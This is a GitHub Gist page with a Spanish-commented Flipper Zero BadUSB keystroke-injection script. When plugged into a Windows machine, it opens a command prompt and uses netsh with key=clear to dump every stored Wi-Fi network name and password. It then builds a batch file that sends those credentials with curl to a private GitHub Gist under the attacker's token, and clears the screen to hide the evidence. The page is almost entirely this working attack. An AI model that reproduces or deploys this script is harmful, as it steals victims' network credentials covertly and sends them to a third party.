Created
August 9, 2022 22:28
-
-
Save gabimarti/57402a828498bbe7e6ea95baa76a48ca to your computer and use it in GitHub Desktop.
Script para BadUSB de FlipperZero que obtiene lista de SSID y contraseñas asociadas
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| REM Save_pass_Wifi v1.0. | |
| REM Obtienes los SSID y contraseñas almacenados y crea una entrada de Gist en GitHub. | |
| REM Detalles versión: Versión "sucia" inicial. | |
| REM Autor: Gabriel Marti (Twitter: @gmarti @310hkc41b) | |
| REM Sustituye el texto [TOKEN] con tu Token de Gists. | |
| REM Comando de ejemplo para subir a gists | |
| REM curl \ | |
| REM -X POST \ | |
| REM -H "Accept: application/vnd.github+json" \ | |
| REM -H "Authorization: token <TOKEN>" \ | |
| REM https://api.github.com/gists \ | |
| REM -d '{"description":"Example of a gist","public":false,"files":{"README.md":{"content":"Hello World"}}}' | |
| REM Para evitar problema idioma de teclado usar ALTSTRING en lugar de STRING | |
| REM Espera para enviar las primeras pulsaciones | |
| DELAY 2000 | |
| GUI r | |
| DELAY 1000 | |
| STRING cmd | |
| DELAY 500 | |
| ENTER | |
| DELAY 1500 | |
| STRING echo off | |
| DELAY 200 | |
| ENTER | |
| STRING cls | |
| DELAY 200 | |
| ENTER | |
| REM Crea Listado de WiFi's y contraseña almacenando en fichero temporal | |
| ALTSTRING del miswifis.txt 2> NUL | |
| DELAY 200 | |
| ENTER | |
| ALTSTRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"Nombre de SSID" /C:"Contenido de la clave" >> miswifis.txt | |
| DELAY 200 | |
| ENTER | |
| REM Borra pantalla para que no mostrar evidencias (rebajar tiempos de DELAY, algunos son altos para depurar) | |
| STRING cls | |
| DELAY 100 | |
| ENTER | |
| REM Crea fichero para cargar datos de contraseñas sobre una variable y enviar a gist | |
| ALTSTRING echo @echo off > gistload.bat | |
| DELAY 200 | |
| ENTER | |
| REM Genera un nombre de fichero diferente cada vez | |
| ALTSTRING echo set fich=WifiPASS%random%.txt >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| REM De momento, los saltos de linea no funcionan al insertarse en una variable para generar un salto de linea entre las diferentes conexiones. | |
| ALTSTRING echo set lf=^^ >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| ALTSTRING echo (set wifi=) >> gistload.bat && echo setlocal EnableDelayedExpansion >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| ALTSTRING echo for /f "Tokens=* Delims=" %%x in (miswifis.txt) do set wifi=!wifi!%%x >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| ALTSTRING echo echo %wifi% >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| ALTSTRING echo curl -X POST -H "Accept: application/vnd.github+json" -H "Authorization: token [TOKEN]" https://api.github.com/gists -d "{\"description\":\"Pass %fich%\",\"public\":false,\"files\":{\"%fich%\":{\"content\":\"%wifi%^%lf%%lf%\"}}}" >> gistload.bat | |
| DELAY 200 | |
| ENTER | |
| REM Ejecuta fichero para enviar datos a Gist | |
| ALTSTRING gistload.bat | |
| DELAY 200 | |
| ENTER | |
| DELAY 1000 | |
| ALTSTRING echo on | |
| DELAY 100 | |
| ENTER | |
| ALTSTRING cls | |
| DELAY 100 | |
| ENTER | |
| ALTSTRING exit | |
| DELAY 300 | |
| ENTER |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment